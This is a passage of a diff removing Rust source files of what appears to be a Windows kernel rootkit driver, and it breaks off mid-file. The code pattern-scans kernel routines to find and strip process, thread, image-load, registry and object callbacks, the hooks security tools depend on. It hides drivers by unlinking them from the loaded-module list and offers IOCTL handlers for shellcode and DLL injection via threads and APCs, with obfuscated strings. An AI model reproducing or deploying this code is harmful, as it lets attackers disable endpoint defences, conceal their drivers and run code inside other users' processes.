let function_address = MmGetSystemRoutineAddress(&mut name);
|
|
||||||
|
|
||||||
// 488d0d57d73d00 lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)]
|
|
||||||
let instructions = [0x48, 0x8D, 0x0D];
|
|
||||||
scan_for_pattern(function_address, &instructions, 3, 7, 0x50, i32::from_le_bytes)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Finds the address of the `PsSetLoadImageNotifyRoutineEx` routine.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise.
|
|
||||||
///
|
|
||||||
unsafe fn find_ps_load_image() -> Option<*mut u8> {
|
|
||||||
let mut name = str_to_unicode(obfstr!("PsSetLoadImageNotifyRoutineEx")).to_unicode();
|
|
||||||
let function_address = MmGetSystemRoutineAddress(&mut name);
|
|
||||||
|
|
||||||
// 488d0d67d83d00 lea rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)]
|
|
||||||
let instructions = [0x48, 0x8D, 0x0D];
|
|
||||||
scan_for_pattern(function_address, &instructions, 3, 7, 0x50, i32::from_le_bytes)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Finds the address of the `CmRegisterCallbackEx` routine.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise.
|
|
||||||
///
|
|
||||||
unsafe fn find_cm_register_callback() -> Option<(*mut u8, *mut u8, *mut u8)>{
|
|
||||||
let mut name = str_to_unicode(obfstr!("CmRegisterCallbackEx")).to_unicode();
|
|
||||||
let function_address = MmGetSystemRoutineAddress(&mut name);
|
|
||||||
|
|
||||||
// e8c961e7ff call nt!CmpRegisterCallbackInternal (fffff800`286e2b08)
|
|
||||||
let register_internal_pattern = [0xE8];
|
|
||||||
let register_callback_internal = scan_for_pattern(function_address, ®ister_internal_pattern, 1, 5, 0x50, i32::from_le_bytes)?;
|
|
||||||
|
|
||||||
// 488bcb mov rcx,rbx
|
|
||||||
// e83d000000 call nt!CmpInsertCallbackInListByAltitude (fffff800`286e2c0c)
|
|
||||||
let insert_pattern: [u8; 3] = [0x8B, 0xCB, 0xE8];
|
|
||||||
let insert_call_address = scan_for_pattern(register_callback_internal as _, &insert_pattern, 3, 7, 0x108, i32::from_le_bytes)?;
|
|
||||||
|
|
||||||
// 488d0d7b585600 lea rcx,[nt!CmpCallbackListLock (fffff803`216484c0)]
|
|
||||||
let cmp_callback_list_lock_pattern = [0x48, 0x8D, 0x0D];
|
|
||||||
let callback_list_lock = scan_for_pattern(insert_call_address as _, &cmp_callback_list_lock_pattern, 3, 7, 0x200, i32::from_le_bytes)?;
|
|
||||||
|
|
||||||
// 4c8d3d78585600 lea r15,[nt!CallbackListHead (fffff803`216484d0)]
|
|
||||||
let callback_list_head_pattern = [0x4C, 0x8D, 0x3D];
|
|
||||||
let callback_list_header = scan_for_pattern(insert_call_address as _, &callback_list_head_pattern, 3, 7, 0x200, i32::from_le_bytes)?;
|
|
||||||
|
|
||||||
// f0ff05fddd5600 lock inc dword ptr [nt!CmpCallBackCount (fffff803`21650abc)]
|
|
||||||
let cmp_callback_count_pattern = [0xF0, 0xFF, 0x05];
|
|
||||||
let callback_count = scan_for_pattern(insert_call_address as _, &cmp_callback_count_pattern, 3, 7, 0x200, i32::from_le_bytes)?;
|
|
||||||
|
|
||||||
Some((callback_list_header, callback_count, callback_list_lock))
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Finds the address of the `ObRegisterCallbacks` routine.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `Option<*mut FULL_OBJECT_TYPE>`: Some pointer to the address if found, None otherwise.
|
|
||||||
///
|
|
||||||
pub fn find_ob_register_callback(callback: &Callbacks) -> Option<*mut FULL_OBJECT_TYPE> {
|
|
||||||
match callback {
|
|
||||||
Callbacks::ObProcess => {
|
|
||||||
let object_type = unsafe { (*PsProcessType) as *mut FULL_OBJECT_TYPE };
|
|
||||||
Some(object_type)
|
|
||||||
},
|
|
||||||
Callbacks::ObThread => {
|
|
||||||
let object_type = unsafe { (*PsThreadType) as *mut FULL_OBJECT_TYPE };
|
|
||||||
Some(object_type)
|
|
||||||
},
|
|
||||||
_ => None
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Finds the type of the callback and calls the function responsible for it.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `callback`: target callback that will be called.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise.
|
|
||||||
///
|
|
||||||
pub unsafe fn find_callback_address(callback: &Callbacks) -> Option<CallbackResult> {
|
|
||||||
match callback {
|
|
||||||
Callbacks::PsSetCreateProcessNotifyRoutine => find_ps_create_process().map(CallbackResult::PsCreate),
|
|
||||||
Callbacks::PsSetCreateThreadNotifyRoutine => find_ps_create_thread().map(CallbackResult::PsCreate),
|
|
||||||
Callbacks::PsSetLoadImageNotifyRoutine => find_ps_load_image().map(CallbackResult::PsCreate),
|
|
||||||
Callbacks::CmRegisterCallbackEx => find_cm_register_callback().map(CallbackResult::Registry),
|
|
||||||
Callbacks::ObProcess => find_ob_register_callback(callback).map(CallbackResult::ObRegister),
|
|
||||||
Callbacks::ObThread => find_ob_register_callback(callback).map(CallbackResult::ObRegister),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Enum containing return types for each callback.
|
|
||||||
pub enum CallbackResult {
|
|
||||||
PsCreate(*mut u8),
|
|
||||||
Registry((*mut u8, *mut u8, *mut u8)),
|
|
||||||
ObRegister(*mut FULL_OBJECT_TYPE)
|
|
||||||
}
|
|
||||||
@@ -1,63 +0,0 @@
|
|||||||
use {
|
|
||||||
alloc::boxed::Box,
|
|
||||||
hashbrown::HashMap,
|
|
||||||
crate::{handle_callback, utils::ioctls::IoctlHandler},
|
|
||||||
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
|
|
||||||
shared::{
|
|
||||||
ioctls::{
|
|
||||||
IOCTL_ENUMERATE_CALLBACK, IOCTL_ENUMERATE_REMOVED_CALLBACK,
|
|
||||||
IOCTL_REMOVE_CALLBACK, IOCTL_RESTORE_CALLBACK
|
|
||||||
},
|
|
||||||
structs::{CallbackInfoInput, CallbackInfoOutput}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
/// Registers the IOCTL handlers for callback-related operations.
|
|
||||||
///
|
|
||||||
/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
|
|
||||||
/// their respective IOCTL codes. The two operations supported are:
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the callback-related
|
|
||||||
/// IOCTL handlers will be inserted.
|
|
||||||
///
|
|
||||||
pub fn get_callback_ioctls(ioctls: &mut HashMap<u32, IoctlHandler> ) {
|
|
||||||
// Lists Callbacks.
|
|
||||||
ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
|
||||||
let mut information = 0;
|
|
||||||
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) };
|
|
||||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
|
||||||
|
|
||||||
match status {
|
|
||||||
Ok(_) => STATUS_SUCCESS,
|
|
||||||
Err(err_code) => err_code
|
|
||||||
}
|
|
||||||
}) as IoctlHandler);
|
|
||||||
|
|
||||||
// List Callbacks Removed.
|
|
||||||
ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
|
||||||
let mut information = 0;
|
|
||||||
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) };
|
|
||||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
|
||||||
|
|
||||||
match status {
|
|
||||||
Ok(_) => STATUS_SUCCESS,
|
|
||||||
Err(err_code) => err_code
|
|
||||||
}
|
|
||||||
}) as IoctlHandler);
|
|
||||||
|
|
||||||
// Remove Callback.
|
|
||||||
ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
|
||||||
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) };
|
|
||||||
unsafe { (*irp).IoStatus.Information = 0 };
|
|
||||||
status
|
|
||||||
}) as IoctlHandler);
|
|
||||||
|
|
||||||
// Restore Callback.
|
|
||||||
ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
|
||||||
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) };
|
|
||||||
unsafe { (*irp).IoStatus.Information = 0 };
|
|
||||||
status
|
|
||||||
}) as IoctlHandler);
|
|
||||||
}
|
|
||||||
@@ -1,78 +0,0 @@
|
|||||||
use {
|
|
||||||
alloc::vec::Vec,
|
|
||||||
crate::internals::structs::{CallbackRestaure, CallbackRestaureOb},
|
|
||||||
shared::{
|
|
||||||
vars::MAX_CALLBACK,
|
|
||||||
structs::{CallbackInfoInput, CallbackInfoOutput},
|
|
||||||
},
|
|
||||||
spin::{lazy::Lazy, Mutex}, wdk_sys::NTSTATUS,
|
|
||||||
};
|
|
||||||
|
|
||||||
mod find_callback;
|
|
||||||
pub mod ioctls;
|
|
||||||
pub mod callbacks;
|
|
||||||
|
|
||||||
/// Variable that stores callbacks that have been removed.
|
|
||||||
pub static mut INFO_CALLBACK_RESTAURE: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK)));
|
|
||||||
|
|
||||||
/// Variable that stores callbacks registry that have been removed.
|
|
||||||
static mut INFO_CALLBACK_RESTAURE_REGISTRY: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK)));
|
|
||||||
|
|
||||||
/// Variable that stores callbacks Ob that have been removed.
|
|
||||||
static mut INFO_CALLBACK_RESTAURE_OB: Lazy<Mutex<Vec<CallbackRestaureOb>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK)));
|
|
||||||
|
|
||||||
/// Trait defining common operations for callback lists.
|
|
||||||
pub trait CallbackList {
|
|
||||||
/// Restore a callback from the specified routine.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `target_callback`: Pointer to the callback information input.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
|
||||||
///
|
|
||||||
unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS;
|
|
||||||
|
|
||||||
/// Removes a callback from the specified routine.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `target_callback`: Pointer to the callback information input.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
|
||||||
///
|
|
||||||
unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS;
|
|
||||||
|
|
||||||
/// Searches for a module associated with a callback and updates callback information.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `target_callback`: Pointer to the callback information input.
|
|
||||||
/// - `callback_info`: Pointer to the callback information output.
|
|
||||||
/// - `information`: Pointer to a variable to store information size.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
|
||||||
///
|
|
||||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS>;
|
|
||||||
|
|
||||||
/// List of callbacks currently removed.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `target_callback`: Pointer to the callback information input.
|
|
||||||
/// - `callback_info`: Pointer to the callback information output.
|
|
||||||
/// - `information`: Pointer to a variable to store information size.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
|
||||||
///
|
|
||||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS>;
|
|
||||||
}
|
|
||||||
|
|
||||||
@@ -1,43 +0,0 @@
|
|||||||
use {
|
|
||||||
alloc::boxed::Box,
|
|
||||||
hashbrown::HashMap,
|
|
||||||
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
|
|
||||||
shared::{
|
|
||||||
ioctls::{IOCTL_ENUMERATE_DRIVER, IOCTL_HIDE_UNHIDE_DRIVER},
|
|
||||||
structs::{DriverInfo, TargetDriver}
|
|
||||||
},
|
|
||||||
crate::{
|
|
||||||
driver::Driver, handle, utils::ioctls::IoctlHandler
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
/// Registers the IOCTL handlers for driver-related operations.
|
|
||||||
///
|
|
||||||
/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
|
|
||||||
/// their respective IOCTL codes. The two operations supported are:
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the driver-related
|
|
||||||
/// IOCTL handlers will be inserted.
|
|
||||||
///
|
|
||||||
pub fn get_driver_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
|
||||||
// Hiding / Unhiding a driver from loaded modules.
|
|
||||||
ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
|
||||||
let status = unsafe { handle!(stack, Driver::driver_toggle, TargetDriver) };
|
|
||||||
unsafe { (*irp).IoStatus.Information = 0 };
|
|
||||||
status
|
|
||||||
}) as IoctlHandler);
|
|
||||||
|
|
||||||
// Enumerate active drivers on the system.
|
|
||||||
ioctls.insert(IOCTL_ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION | {
|
|
||||||
let mut information = 0;
|
|
||||||
let status = unsafe { handle!(irp, Driver::enumerate_driver, DriverInfo, &mut information) };
|
|
||||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
|
||||||
|
|
||||||
match status {
|
|
||||||
Ok(_) => STATUS_SUCCESS,
|
|
||||||
Err(err_code) => err_code
|
|
||||||
}
|
|
||||||
}) as IoctlHandler);
|
|
||||||
}
|
|
||||||
@@ -1,194 +0,0 @@
|
|||||||
use {
|
|
||||||
obfstr::obfstr,
|
|
||||||
spin::{lazy::Lazy, mutex::Mutex},
|
|
||||||
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
|
|
||||||
core::sync::atomic::{AtomicPtr, Ordering},
|
|
||||||
alloc::{boxed::Box, string::String, vec::Vec},
|
|
||||||
crate::utils::uni,
|
|
||||||
shared::{
|
|
||||||
structs::{
|
|
||||||
DriverInfo, HiddenDriverInfo, TargetDriver, LIST_ENTRY
|
|
||||||
},
|
|
||||||
vars::MAX_DRIVER
|
|
||||||
},
|
|
||||||
wdk_sys::{
|
|
||||||
ntddk::MmGetSystemRoutineAddress, NTSTATUS, STATUS_INVALID_PARAMETER,
|
|
||||||
STATUS_SUCCESS, STATUS_UNSUCCESSFUL
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
pub mod ioctls;
|
|
||||||
|
|
||||||
/// List of target drivers protected by a mutex.
|
|
||||||
static DRIVER_INFO_HIDE: Lazy<Mutex<Vec<HiddenDriverInfo>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER)));
|
|
||||||
|
|
||||||
pub struct Driver;
|
|
||||||
|
|
||||||
impl Driver {
|
|
||||||
/// Toggle the visibility of a process based on the `enable` field of the `TargetProcess` structure.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `process`: A pointer to the `TargetProcess` structure.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
|
||||||
///
|
|
||||||
pub unsafe fn driver_toggle(driver: *mut TargetDriver) -> NTSTATUS {
|
|
||||||
let name = &(*driver).name;
|
|
||||||
if (*driver).enable {
|
|
||||||
Self::hide_driver(name)
|
|
||||||
} else {
|
|
||||||
Self::unhide_driver(name)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Hides the driver by unlinking it from the loaded module list.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `device`: A pointer to the `DEVICE_OBJECT` representing the driver to be hidden.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
|
|
||||||
///
|
|
||||||
unsafe fn hide_driver(driver_name: &String) -> NTSTATUS {
|
|
||||||
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
|
|
||||||
let func = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
|
|
||||||
if func.is_null() {
|
|
||||||
log::error!("PsLoadedModuleList is null");
|
|
||||||
return STATUS_UNSUCCESSFUL;
|
|
||||||
}
|
|
||||||
|
|
||||||
let current = func as *mut LIST_ENTRY;
|
|
||||||
let mut next = (*func).InLoadOrderLinks.Flink as *mut LIST_ENTRY;
|
|
||||||
|
|
||||||
while next != current {
|
|
||||||
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
let buffer = core::slice::from_raw_parts((*list_entry).BaseDllName.Buffer, ((*list_entry).BaseDllName.Length / 2) as usize);
|
|
||||||
|
|
||||||
let name = String::from_utf16_lossy(buffer);
|
|
||||||
if name.contains(driver_name) {
|
|
||||||
let next = (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
let previous = (*list_entry).InLoadOrderLinks.Blink as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
let list = LIST_ENTRY {
|
|
||||||
Flink: next as *mut LIST_ENTRY,
|
|
||||||
Blink: previous as *mut LIST_ENTRY,
|
|
||||||
};
|
|
||||||
|
|
||||||
let mut driver_info = DRIVER_INFO_HIDE.lock();
|
|
||||||
let list_ptr = Box::into_raw(Box::new(list));
|
|
||||||
let driver_entry = Box::into_raw(Box::new(*list_entry));
|
|
||||||
|
|
||||||
driver_info.push(HiddenDriverInfo {
|
|
||||||
name,
|
|
||||||
list_entry: AtomicPtr::new(list_ptr),
|
|
||||||
driver_entry: AtomicPtr::new(driver_entry)
|
|
||||||
});
|
|
||||||
|
|
||||||
(*next).InLoadOrderLinks.Blink = previous as *mut winapi::shared::ntdef::LIST_ENTRY;
|
|
||||||
(*previous).InLoadOrderLinks.Flink = next as *mut winapi::shared::ntdef::LIST_ENTRY;
|
|
||||||
|
|
||||||
(*list_entry).InLoadOrderLinks.Flink = list_entry as *mut winapi::shared::ntdef::LIST_ENTRY;
|
|
||||||
(*list_entry).InLoadOrderLinks.Blink = list_entry as *mut winapi::shared::ntdef::LIST_ENTRY;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
next = (*next).Flink;
|
|
||||||
}
|
|
||||||
|
|
||||||
STATUS_SUCCESS
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Hides the driver by unlinking it from the loaded module list.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `device`: A pointer to the `DEVICE_OBJECT` representing the driver to be hidden.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
|
|
||||||
///
|
|
||||||
unsafe fn unhide_driver(driver_name: &str) -> NTSTATUS {
|
|
||||||
let mut driver_info = DRIVER_INFO_HIDE.lock();
|
|
||||||
|
|
||||||
if let Some(index) = driver_info.iter().position(|p| p.name == driver_name) {
|
|
||||||
let driver = &driver_info[index];
|
|
||||||
let list_entry = driver.list_entry.load(Ordering::SeqCst);
|
|
||||||
if list_entry.is_null() {
|
|
||||||
log::error!("List entry stored in AtomicPtr is null");
|
|
||||||
return STATUS_INVALID_PARAMETER;
|
|
||||||
}
|
|
||||||
|
|
||||||
let driver_entry = driver.driver_entry.load(Ordering::SeqCst);
|
|
||||||
(*driver_entry).InLoadOrderLinks.Flink = (*list_entry).Flink as *mut winapi::shared::ntdef::LIST_ENTRY;
|
|
||||||
(*driver_entry).InLoadOrderLinks.Blink = (*list_entry).Blink as *mut winapi::shared::ntdef::LIST_ENTRY;
|
|
||||||
|
|
||||||
let next = (*driver_entry).InLoadOrderLinks.Flink; // Driver (3)
|
|
||||||
let previous = (*driver_entry).InLoadOrderLinks.Blink; // Driver (1)
|
|
||||||
|
|
||||||
(*next).Blink = driver_entry as *mut winapi::shared::ntdef::LIST_ENTRY;
|
|
||||||
(*previous).Flink = driver_entry as *mut winapi::shared::ntdef::LIST_ENTRY;
|
|
||||||
|
|
||||||
driver_info.remove(index);
|
|
||||||
} else {
|
|
||||||
return STATUS_UNSUCCESSFUL;
|
|
||||||
}
|
|
||||||
|
|
||||||
STATUS_SUCCESS
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Enumerates loaded drivers and stores the information in the provided buffer.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `driver_info`: A pointer to a buffer where `DriverInfo` structures will be stored.
|
|
||||||
/// - `information`: A mutable reference to a `usize` that will store the total size of the information written.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
|
|
||||||
///
|
|
||||||
pub unsafe fn enumerate_driver(driver_info: *mut DriverInfo, information: &mut usize) -> Result<(), NTSTATUS> {
|
|
||||||
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
|
|
||||||
let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
|
|
||||||
if ldr_data.is_null() {
|
|
||||||
log::error!("PsLoadedModuleList is null");
|
|
||||||
return Err(STATUS_UNSUCCESSFUL);
|
|
||||||
}
|
|
||||||
|
|
||||||
let current = ldr_data as *mut winapi::shared::ntdef::LIST_ENTRY;
|
|
||||||
let mut next = (*ldr_data).InLoadOrderLinks.Flink;
|
|
||||||
let mut count = 0;
|
|
||||||
|
|
||||||
while next != current {
|
|
||||||
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
let buffer = core::slice::from_raw_parts(
|
|
||||||
(*list_entry).BaseDllName.Buffer,
|
|
||||||
((*list_entry).BaseDllName.Length / 2) as usize,
|
|
||||||
);
|
|
||||||
|
|
||||||
// Driver name
|
|
||||||
let name = (*driver_info.offset(count)).name.as_mut();
|
|
||||||
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
|
||||||
|
|
||||||
// Driver address
|
|
||||||
(*driver_info.offset(count)).address = (*list_entry).DllBase as usize;
|
|
||||||
|
|
||||||
// Driver index
|
|
||||||
(*driver_info.offset(count)).index = count as u8;
|
|
||||||
|
|
||||||
*information += core::mem::size_of::<DriverInfo>();
|
|
||||||
count += 1;
|
|
||||||
|
|
||||||
next = (*next).Flink;
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
use wdk_sys::{ntddk::{ExFreePool, PsIsThreadTerminating}, PKAPC, PVOID, _MODE::UserMode};
|
|
||||||
use crate::internals::{
|
|
||||||
types::PKNORMAL_ROUTINE,
|
|
||||||
externs::{KeTestAlertThread, PsGetCurrentThread}
|
|
||||||
};
|
|
||||||
|
|
||||||
pub unsafe extern "system" fn kernel_apc_callback(
|
|
||||||
apc: PKAPC,
|
|
||||||
_normal_routine: *mut PKNORMAL_ROUTINE,
|
|
||||||
_normal_context: *mut PVOID,
|
|
||||||
_system_argument1: *mut PVOID,
|
|
||||||
_system_argument2: *mut PVOID
|
|
||||||
) {
|
|
||||||
|
|
||||||
KeTestAlertThread(UserMode as i8);
|
|
||||||
ExFreePool(apc as _)
|
|
||||||
}
|
|
||||||
|
|
||||||
pub unsafe extern "system" fn user_apc_callback(
|
|
||||||
apc: PKAPC,
|
|
||||||
normal_routine: *mut PKNORMAL_ROUTINE,
|
|
||||||
_normal_context: *mut PVOID,
|
|
||||||
_system_argument1: *mut PVOID,
|
|
||||||
_system_argument2: *mut PVOID
|
|
||||||
) {
|
|
||||||
if PsIsThreadTerminating(PsGetCurrentThread()) == 1 {
|
|
||||||
*normal_routine = None;
|
|
||||||
}
|
|
||||||
|
|
||||||
ExFreePool(apc as _)
|
|
||||||
}
|
|
||||||
@@ -1,63 +0,0 @@
|
|||||||
use {
|
|
||||||
alloc::boxed::Box,
|
|
||||||
hashbrown::HashMap,
|
|
||||||
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
|
|
||||||
crate::{
|
|
||||||
handle,
|
|
||||||
injection::{InjectionDLL, InjectionShellcode},
|
|
||||||
utils::ioctls::IoctlHandler
|
|
||||||
},
|
|
||||||
shared::{
|
|
||||||
ioctls::{
|
|
||||||
IOCTL_INJECTION_DLL_THREAD, IOCTL_INJECTION_SHELLCODE_APC,
|
|
||||||
IOCTL_INJECTION_SHELLCODE_THREAD
|
|
||||||
},
|
|
||||||
structs::TargetInjection
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
/// Registers the IOCTL handlers for injection-related operations.
|
|
||||||
///
|
|
||||||
/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
|
|
||||||
/// their respective IOCTL codes. The two operations supported are:
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the injection-related
|
|
||||||
/// IOCTL handlers will be inserted.
|
|
||||||
///
|
|
||||||
pub fn get_injection_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
|
||||||
// Process injection using ZwCreateThreadEx.
|
|
||||||
ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
|
||||||
let status = unsafe { handle!(stack, InjectionShellcode::injection_thread, TargetInjection) };
|
|
||||||
unsafe { (*irp).IoStatus.Information = 0 };
|
|
||||||
|
|
||||||
match status {
|
|
||||||
Ok(_) => STATUS_SUCCESS,
|
|
||||||
Err(err_code) => err_code
|
|
||||||
}
|
|
||||||
}) as IoctlHandler);
|
|
||||||
|
|
||||||
// APC Injection.
|
|
||||||
ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
|
||||||
let status = unsafe { handle!(stack, InjectionShellcode::injection_apc, TargetInjection) };
|
|
||||||
unsafe { (*irp).IoStatus.Information = 0 };
|
|
||||||
|
|
||||||
match status {
|
|
||||||
Ok(_) => STATUS_SUCCESS,
|
|
||||||
Err(err_code) => err_code
|
|
||||||
}
|
|
||||||
}) as IoctlHandler);
|
|
||||||
|
|
||||||
// DLL injection using ZwCreateThreadEx.
|
|
||||||
ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
|
||||||
let status = unsafe { handle!(stack, InjectionDLL::injection_dll_thread, TargetInjection) };
|
|
||||||
unsafe { (*irp).IoStatus.Information = 0 };
|
|
||||||
|
|
||||||
match status {
|
|
||||||
Ok(_) => STATUS_SUCCESS,
|
|
||||||
Err(err_code) => err_code
|
|
||||||
}
|
|
||||||
}) as IoctlHandler);
|
|
||||||
|
|
||||||
}
|
|
||||||
@@ -1,313 +0,0 @@
|
|||||||
#![allow(non_snake_case)]
|
|
||||||
|
|
||||||
use {
|
|
||||||
obfstr::obfstr,
|
|
||||||
shared::structs::TargetInjection,
|
|
||||||
callbacks::{kernel_apc_callback, user_apc_callback},
|
|
||||||
core::{
|
|
||||||
ffi::c_void, ptr::null_mut,
|
|
||||||
mem::{size_of, transmute},
|
|
||||||
},
|
|
||||||
wdk_sys::{
|
|
||||||
*,
|
|
||||||
ntddk::{
|
|
||||||
IoGetCurrentProcess, ZwAllocateVirtualMemory,
|
|
||||||
ZwClose, ZwOpenProcess
|
|
||||||
},
|
|
||||||
_MODE::{KernelMode, UserMode},
|
|
||||||
},
|
|
||||||
crate::{
|
|
